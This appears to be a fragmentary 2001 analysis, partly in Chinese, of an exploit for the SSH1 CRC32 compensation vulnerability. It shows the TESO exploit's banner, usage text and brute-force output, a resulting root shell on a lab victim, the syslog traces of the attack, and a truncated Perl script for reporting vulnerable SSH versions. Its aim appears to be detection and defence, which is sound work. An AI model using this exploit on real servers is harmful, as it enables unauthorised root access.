linux/x86 sshd1 exploit by zip/TESO (zip@james.kalifornia.com) - ripped from openssh 2.2.0 src
greets: mray, random, big t, sh1fty, scut, dvorak ps. this sploit already owned cia.gov :/
**please pick a type**
Usage: ./ssh host [options] Options: -p port -b base Base address to start bruteforcing distance, by default 0x1800, goes as high as 0x10000 -t type -d debug mode -o Add this to delta_min
linux/x86 sshd1 exploit by zip/TESO (zip@james.kalifornia.com) - ripped from openssh 2.2.0 src
greets: mray, random, big t, sh1fty, scut, dvorak ps. this sploit already owned cia.gov :/
........................... bruteforced distance: 0x3200 bruteforcing distance from h->partial packet buffer on stack ..............^[[A................|////////////! bruteforced h->ident buff distance: 5bfbed88
trying retloc_delta: 35 ....! found high Words of possible return address: 808 trying to exploit .... trying retloc_delta: 37 .! found high words of possible return address: 805 trying to exploit .... trying retloc_delta: 39 ...... trying retloc_delta: 3b
...... trying retloc_delta: 3d ! found high words of possible return address: 804 trying to exploit .... trying retloc_delta: 3f ...... =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= root@plac ~ >> telnet 10.10.10.3 12345 Trying 10.10.10.3... Connected to 10.10.10.3. Escape character is '^]'. id; uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) date; Thu Nov 1 18:04:42 PST 2001 netstat -an --inet; Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 10.10.10.3:12345 10.10.10.10:33077 ESTABLISHED tcp 0 0 0.0.0.0:12345 0.0.0.0:* LISTEN tcp 1252 0 10.10.10.3:2222 10.10.10.10:33076 ESTABLISHED tcp 0 0 10.10.10.3:2222 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN raw 0 0 0.0.0.0:1 0.0.0.0:* 7 raw 0 0 0.0.0.0:6 0.0.0.0:* 7 exit; Connection closed by foreign host. root@plac ~ >> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[注重]：使用telnet要加";"號，而nc連接不需要。
等攻擊者退出以后，被測試系統網絡狀態返回正常：
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [root@victim /root]# netstat -an --inet Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 10.10.10.3:2222 0.0.0.0:* LISTEN tcp 0 0 10.10.10.3:22 10.10.10.2:33354 ESTABLISHED tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN raw 0 0 0.0.0.0:1 0.0.0.0:* 7 raw 0 0 0.0.0.0:6 0.0.0.0:* 7 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
假如syslog日志功能開啟了，連接和暴力測試的信息全部會記錄下來(注重，這個是 對SSH.com 1.2.31在Red Hat LInux 6.0上的測試 -- 日志標志會和記錄OpenSSH 不一樣)：
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Nov 1 18:46:14 victim sshd[9510]: log: Connection from 10.10.10.10 port 33298 Nov 1 18:46:19 victim sshd[9511]: log: Connection from 10.10.10.10 port 33299 Nov 1 18:46:22 victim sshd[9512]: log: Connection from 10.10.10.10 port 33300 Nov 1 18:46:26 victim sshd[9513]: log: Connection from 10.10.10.10 port 33301 Nov 1 18:46:31 victim sshd[9515]: log: Connection from 10.10.10.10 port 33302 Nov 1 18:46:35 victim sshd[9516]: log: Connection from 10.10.10.10 port 33303 Nov 1 18:46:39 victim sshd[9517]: log: Connection from 10.10.10.10 port 33304 Nov 1 18:46:43 victim sshd[9518]: log: Connection from 10.10.10.10 port 33305 Nov 1 18:46:47 victim sshd[9518]: fatal: Local: Corrupted check bytes on input. Nov 1 18:46:47 victim sshd[9519]: log: Connection from 10.10.10.10 port 33306 Nov 1 18:46:52 victim sshd[9519]: fatal: Connection closed by remote host. Nov 1 18:46:53 victim sshd[9520]: log: Connection from 10.10.10.10 port 33307
Nov 1 18:46:57 victim sshd[9521]: log: Connection from 10.10.10.10 port 33308 Nov 1 18:47:01 victim sshd[9522]: log: Connection from 10.10.10.10 port 33309 Nov 1 18:47:06 victim sshd[9523]: log: Connection from 10.10.10.10 port 33310 Nov 1 18:47:10 victim sshd[9524]: log: Connection from 10.10.10.10 port 33311 Nov 1 18:47:14 victim sshd[9525]: log: Connection from 10.10.10.10 port 33312 Nov 1 18:47:19 victim sshd[9526]: log: Connection from 10.10.10.10 port 33313 Nov 1 18:47:24 victim sshd[9527]: log: Connection from 10.10.10.10 port 33314 Nov 1 18:47:24 victim sshd[9527]: fatal: Connection closed by remote host. Nov 1 18:47:46 victim sshd[9528]: log: Connection from 10.10.10.10 port 33315 Nov 1 18:47:46 victim sshd[9529]: log: Connection from 10.10.10.10 port 33316 Nov 1 18:47:47 victim sshd[9530]: log: Connection from 10.10.10.10 port 33317 Nov 1 18:47:47 victim sshd[9531]: log: Connection from 10.10.10.10 port 33318 Nov 1 18:47:47 victim sshd[9532]: log: Connection from 10.10.10.10 port 33319 Nov 1 18:47:48 victim sshd[9533]: log: Connection from 10.10.10.10 port 33320 Nov 1 18:47:48 victim sshd[9534]: log: Connection from 10.10.10.10 port 33321 Nov 1 18:47:48 victim sshd[9535]: log: Connection from 10.10.10.10 port 33322 Nov 1 18:47:49 victim sshd[9536]: log: Connection from 10.10.10.10 port 33323 Nov 1 18:47:49 victim sshd[9537]: log: Connection from 10.10.10.10 port 33324 Nov 1 18:47:50 victim sshd[9538]: log: Connection from 10.10.10.10 port 33325 Nov 1 18:47:50 victim sshd[9539]: log: Connection from 10.10.10.10 port 33326 Nov 1 18:47:50 victim sshd[9540]: log: Connection from 10.10.10.10 port 33327 Nov 1 18:47:51 victim sshd[9541]: log: Connection from 10.10.10.10 port 33328 Nov 1 18:47:51 victim sshd[9542]: log: Connection from 10.10.10.10 port 33329 Nov 1 18:47:51 victim sshd[9543]: log: Connection from 10.10.10.10 port 33330 Nov 1 18:47:52 victim sshd[9544]: log: Connection from 10.10.10.10 port 33331 Nov 1 18:47:52 victim sshd[9545]: log: Connection from 10.10.10.10 port 33332 Nov 1 18:47:52 victim sshd[9546]: log: Connection from 10.10.10.10 port 33333 Nov 1 18:47:53 victim sshd[9547]: log: Connection from 10.10.10.10 port 33334 Nov 1 18:47:53 victim sshd[9548]: log: Connection from 10.10.10.10 port 33335 Nov 1 18:47:54 victim sshd[9549]: log: Connection from 10.10.10.10 port 33336 Nov 1 18:47:54 victim sshd[9550]: log: Connection from 10.10.10.10 port 33337 Nov 1 18:47:54 victim sshd[9551]: log: Connection from 10.10.10.10 port 33338 Nov 1 18:47:55 victim sshd[9552]: log: Connection from 10.10.10.10 port 33339 Nov 1 18:47:55 victim sshd[9553]: log: Connection from 10.10.10.10 port 33340 Nov 1 18:47:55 victim sshd[9554]: log: Connection from 10.10.10.10 port 33341 Nov 1 18:47:56 victim sshd[9555]: log: Connection from 10.10.10.10 port 33342 Nov 1 18:47:56 victim sshd[9556]: log: Connection from 10.10.10.10 port 33343
Nov 1 18:47:56 victim sshd[9555]: fatal: Local: Corrupted check bytes on input. Nov 1 18:47:57 victim sshd[9557]: log: Connection from 10.10.10.10 port 33344 Nov 1 18:47:57 victim sshd[9558]: log: Connection from 10.10.10.10 port 33345 Nov 1 18:47:57 victim sshd[9559]: log: Connection from 10.10.10.10 port 33346 Nov 1 18:47:58 victim sshd[9560]: log: Connection from 10.10.10.10 port 33347 Nov 1 18:47:58 victim sshd[9561]: log: Connection from 10.10.10.10 port 33348 Nov 1 18:47:59 victim sshd[9562]: log: Connection from 10.10.10.10 port 33349 Nov 1 18:47:59 victim sshd[9563]: log: Connection from 10.10.10.10 port 33350 Nov 1 18:47:59 victim sshd[9564]: log: Connection from 10.10.10.10 port 33351 Nov 1 18:48:00 victim sshd[9565]: log: Connection from 10.10.10.10 port 33352 Nov 1 18:48:00 victim sshd[9566]: log: Connection from 10.10.10.10 port 33353 Nov 1 18:48:00 victim sshd[9567]: log: Connection from 10.10.10.10 port 33354 Nov 1 18:48:01 victim sshd[9568]: log: Connection from 10.10.10.10 port 33355 Nov 1 18:48:01 victim sshd[9569]: log: Connection from 10.10.10.10 port 33356 Nov 1 18:48:02 victim sshd[9570]: log: Connection from 10.10.10.10 port 33357 Nov 1 18:48:02 victim sshd[9571]: log: Connection from 10.10.10.10 port 33358 Nov 1 18:48:02 victim sshd[9572]: log: Connection from 10.10.10.10 port 33359 Nov 1 18:48:03 victim sshd[9573]: log: Connection from 10.10.10.10 port 33360 Nov 1 18:48:03 victim sshd[9574]: log: Connection from 10.10.10.10 port 33361 Nov 1 18:48:03 victim sshd[9575]: log: Connection from 10.10.10.10 port 33362 Nov 1 18:48:04 victim sshd[9576]: log: Connection from 10.10.10.10 port 33363 Nov 1 18:48:04 victim sshd[9577]: log: Connection from 10.10.10.10 port 33364 Nov 1 18:48:04 victim sshd[9578]: log: Connection from 10.10.10.10 port 33365 Nov 1 18:48:05 victim sshd[9579]: log: Connection from 10.10.10.10 port 33366 Nov 1 18:48:05 victim sshd[9580]: log: Connection from 10.10.10.10 port 33367 Nov 1 18:48:06 victim sshd[9581]: log: Connection from 10.10.10.10 port 33368 Nov 1 18:48:06 victim sshd[9582]: log: Connection from 10.10.10.10 port 33369 Nov 1 18:48:06 victim sshd[9583]: log: Connection from 10.10.10.10 port 33370 Nov 1 18:48:07 victim sshd[9584]: log: Connection from 10.10.10.10 port 33371 Nov 1 18:48:07 victim sshd[9585]: log: Connection from 10.10.10.10 port 33372 Nov 1 18:48:07 victim sshd[9586]: log: Connection from 10.10.10.10 port 33373 Nov 1 18:48:08 victim sshd[9587]: log: Connection from 10.10.10.10 port 33374 Nov 1 18:48:08 victim sshd[9586]: fatal: Local: crc32 compensation attack: network attack detected Nov 1 18:48:08 victim sshd[9588]: log: Connection from 10.10.10.10 port 33375 Nov 1 18:48:08 victim sshd[9587]: fatal: Local: crc32 compensation attack: network attack detected Nov 1 18:48:08 victim sshd[9589]: log: Connection from 10.10.10.10 port 33376 Nov 1 18:48:08 victim sshd[9588]: fatal: Local: crc32 compensation attack: network attack detected
Nov 1 18:48:09 victim sshd[9590]: log: Connection from 10.10.10.10 port 33377 Nov 1 18:48:09 victim sshd[9589]: fatal: Local: crc32 compensation attack: network attack detected Nov 1 18:48:09 victim sshd[9591]: log: Connection from 10.10.10.10 port 33378 Nov 1 18:48:09 victim sshd[9590]: fatal: Local: crc32 compensation attack: network attack detected Nov 1 18:48:09 victim sshd[9592]: log: Connection from 10.10.10.10 port 33379 Nov 1 18:48:09 victim sshd[9591]: fatal: Local: crc32 compensation attack: network attack detected Nov 1 18:48:10 victim sshd[9592]: fatal: Local: crc32 compensation attack: network attack detected Nov 1 18:48:10 victim sshd[9593]: log: Connection from 10.10.10.10 port 33380 Nov 1 18:48:10 victim sshd[9594]: log: Connection from 10.10.10.10 port 33381 Nov 1 18:48:10 victim sshd[9593]: fatal: Local: crc32 compensation attack: network attack detected Nov 1 18:48:11 victim sshd[9595]: log: Connection from 10.10.10.10 port 33382 Nov 1 18:48:11 victim sshd[9594]: fatal: Local: crc32 compensation attack: network attack detected Nov 1 18:48:11 victim sshd[9596]: log: Connection from 10.10.10.10 port 33383 Nov 1 18:48:11 victim sshd[9597]: log: Connection from 10.10.10.10 port 33384 Nov 1 18:48:11 victim sshd[9596]: fatal: Local: crc32 compensation attack: network attack detected Nov 1 18:48:12 victim sshd[9598]: log: Connection from 10.10.10.10 port 33385 Nov 1 18:48:12 victim sshd[9597]: fatal: Local: crc32 compensation attack: network attack detected Nov 1 18:48:12 victim sshd[9599]: log: Connection from 10.10.10.10 port 33386 Nov 1 18:48:12 victim sshd[9598]: fatal: Local: crc32 compensation attack: network attack detected Nov 1 18:48:12 victim sshd[9600]: log: Connection from 10.10.10.10 port 33387 Nov 1 18:48:12 victim sshd[9599]: fatal: Local: crc32 compensation attack: network attack detected Nov 1 18:48:13 victim sshd[9601]: log: Connection from 10.10.10.10 port 33388 Nov 1 18:48:13 victim sshd[9602]: log: Connection from 10.10.10.10 port 33389 Nov 1 18:48:13 victim sshd[9603]: log: Connection from 10.10.10.10 port 33390 Nov 1 18:48:14 victim sshd[9604]: log: Connection from 10.10.10.10 port 33391 Nov 1 18:48:14 victim sshd[9605]: log: Connection from 10.10.10.10 port 33392 Nov 1 18:48:15 victim sshd[9606]: log: Connection from 10.10.10.10 port 33393 Nov 1 18:48:15 victim sshd[9605]: fatal: Local: Corrupted check bytes on input. Nov 1 18:48:15 victim sshd[9607]: log: Connection from 10.10.10.10 port 33394 Nov 1 18:48:16 victim sshd[9608]: log: Connection from 10.10.10.10 port 33395 Nov 1 18:48:16 victim sshd[9609]: log: Connection from 10.10.10.10 port 33396 Nov 1 18:48:16 victim sshd[9610]: log: Connection from 10.10.10.10 port 33397 Nov 1 18:48:17 victim sshd[9611]: log: Connection from 10.10.10.10 port 33398 Nov 1 18:48:17 victim sshd[9611]: fatal: Local: Corrupted check bytes on input. Nov 1 18:48:17 victim sshd[9612]: log: Connection from 10.10.10.10 port 33399
Nov 1 18:48:18 victim sshd[9613]: log: Connection from 10.10.10.10 port 33400 Nov 1 18:48:18 victim sshd[9614]: log: Connection from 10.10.10.10 port 33401 Nov 1 18:58:18 victim sshd[9614]: fatal: Timeout before authentication. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=- cut here -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= #!/usr/bin/perl # # ssh-report # # Dave Dittrich <dittrich@cac.washington.edu> # Thu Nov 8 21:39:20 PST 2001 # # Process output of scans for SSH servers, with version identifying # information, into two level break report format by SSH version. # # This script Operates on a list of scan results that look # like this: # # % cat scanresults # 10.0.0.1 beavertail.dept.foo.edu SSH-1.5-1.2.31 # 10.0.0.2 lumpysoup.dept.foo.edu SSH-1.5-1.2.31 # 10.0.0.3 marktwain.dept.foo.edu SSH-1.99-OpenSSH_2.5.2p2 # 10.0.0.4 junebug.dept.foo.edu SSH-1.5-1.2.31 # 10.0.0.10 calvin.dept.foo.edu SSH-1.99-OpenSSH_2.5.2p2 # 10.0.0.11 hobbes.dept.foo.edu SSH-1.99-OpenSSH_2.1.1 # 10.0.0.20 willow.dept.foo.edu SSH-1.99-OpenSSH_2.9p2 # 10.0.0.21 berry.dept.foo.edu SSH-1.99-OpenSSH_2.9p2 # 10.0.0.23 whimpy.dept.foo.edu SSH-1.99-OpenSSH_2.9p2 # # The resulting report (without the "-a" flag) will look like this: # # % ssh-report < scanresults # # SSH-1.5-1.2.31 (affected) # beavertail.dept.foo.edu(10.0.0.1) # lumpysoup.dept.foo.edu(10.0.0.2) # junebug.dept.foo.edu(10.0.0.4) # # # SSH-1.99-OpenSSH_2.1.1 (affected) # hobbes.dept.foo.edu(10.0.0.11) # # By default, this script will only report on those systems that # are running potentially vulnerable SSH servers. Use the "-a"
# option to report on all servers. Use "grep -v" to filter out # hosts *before* you run them through this reporting script. # # SSH servers are considered "affected" if they are known, by being # listed in one or more of the following references, to have the crc32 # compensation attack detector vulnerability: # # http://www.kb.cert.org/vuls/id/945216 # http://www.securityfocus.com/bid/2347/ # http://xforce.iss.net/alerts/advise100.php # http://www.ssh.com/products/ssh/advisories/ssh1_crc-32.cfm # # You also may need to adjust the logic below to lump systems # into the "Unknown" category correctly (e.g., if your server # has a custom version string, access control, etc.) # # The list below of servers and potential vulnerability was derived by # summarizing existing versions on a set of production networks and # using the advisories and reference material listed above. You # should update this list as new information is oBTained, or if new # versions of the SSH server are found on your network.
# Adjust this to identify other strings reported # by servers that have access restrictions, etc. # in place and do not show a specific version number. # They all fall under the category "Unknown" in this case. $version = "Unknown" if ($version eq "Couldn't" || $version eq "Unknown" || $version eq "You" || $version eq "timeout");
sub IKnowWhatImDoing { local $IKnowWhatImDoing = 0;
# Uncomment the following line to make this script work. # $IKnowWhatImDoing++; die "I told you to read the code first, didn't I?/n" unless $IKnowWhatImDoing; return; } =-=-=-=-=-=-=-=-=-=-=-=-=-=- cut here -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
